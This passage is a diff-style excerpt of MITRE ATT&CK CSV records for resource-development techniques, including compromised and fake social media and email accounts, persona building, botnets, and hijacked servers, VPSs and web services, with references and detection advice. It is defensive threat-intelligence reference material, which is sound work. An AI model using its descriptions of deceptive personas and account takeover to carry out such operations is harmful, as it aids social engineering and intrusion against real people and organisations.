[Phishing](https://attack.mitre.org/techniques/T1566)).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:18:35.535Z,2021-10-16T17:15:12.169Z,Social Media Accounts,"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. -Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1586/001', external_id='T1586.001'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf')]",attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:59:06.872000+00:00,Social Media Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586/001', 'external_id': 'T1586.001'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:17:15.965000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:17:15.965Z,2021-10-16T17:15:12.428Z,Compromise Accounts,"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. -Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1586', external_id='T1586'), ExternalReference(source_name='AnonHBGary', description='Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', url='https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/')]",attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:59:07.046000+00:00,Compromise Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1586', 'external_id': 'T1586'}, {'source_name': 'AnonHBGary', 'description': 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.', 'url': 'https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,False,,,,['PRE'],,,,1.0 -2020-10-01 01:09:53.217000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:09:53.217Z,2021-04-15T03:09:59.862Z,Email Accounts,"Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) -To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1585/002', external_id='T1585.002'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'), ExternalReference(source_name='Trend Micro R980 2016', description='Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/')]",attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:09:59.862000+00:00,Email Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:08:41.124000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) +To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585/002', 'external_id': 'T1585.002'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'Trend Micro R980 2016', 'description': 'Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:08:41.124Z,2021-10-16T17:37:34.563Z,Social Media Accounts,"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. -Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1585/001', external_id='T1585.001'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf')]",attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:10:35.708000+00:00,Social Media Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585/001', 'external_id': 'T1585.001'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:05:42.216000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:05:42.216Z,2021-10-16T17:35:59.386Z,Establish Accounts,"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) -Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1585', external_id='T1585'), ExternalReference(source_name='NEWSCASTER2014', description='Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', url='https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'), ExternalReference(source_name='BlackHatRobinSage', description='Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', url='http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf')]",attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:10:35.877000+00:00,Establish Accounts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1585', 'external_id': 'T1585'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Persona: Social Media', 'Network Traffic: Network Traffic Content']",,"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",False,,['PRE'],1.2,,,,,,, +attack-pattern,attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:01:00.176Z,2021-10-17T16:01:48.047Z,Web Services,"Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/006', 'external_id': 'T1584.006'}, {'source_name': 'Recorded Future Turla Infra 2020', 'description': 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.', 'url': 'https://www.recordedfuture.com/turla-apt-infrastructure/'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:58:35.269Z,2021-04-15T03:01:00.271Z,Botnet,"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/005', 'external_id': 'T1584.005'}, {'source_name': 'Norton Botnet', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'}, {'source_name': 'Imperva DDoS for Hire', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'}, {'source_name': 'Dell Dridex Oct 2015', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.', 'url': 'https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:56:25.135Z,2021-10-17T16:00:16.273Z,Server,"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. + +Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/004', 'external_id': 'T1584.004'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:55:17.771Z,2021-10-17T15:59:02.770Z,Virtual Private Server,"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) + +Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584/003', 'external_id': 'T1584.003'}, {'source_name': 'NSA NCSC Turla OilRig', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS 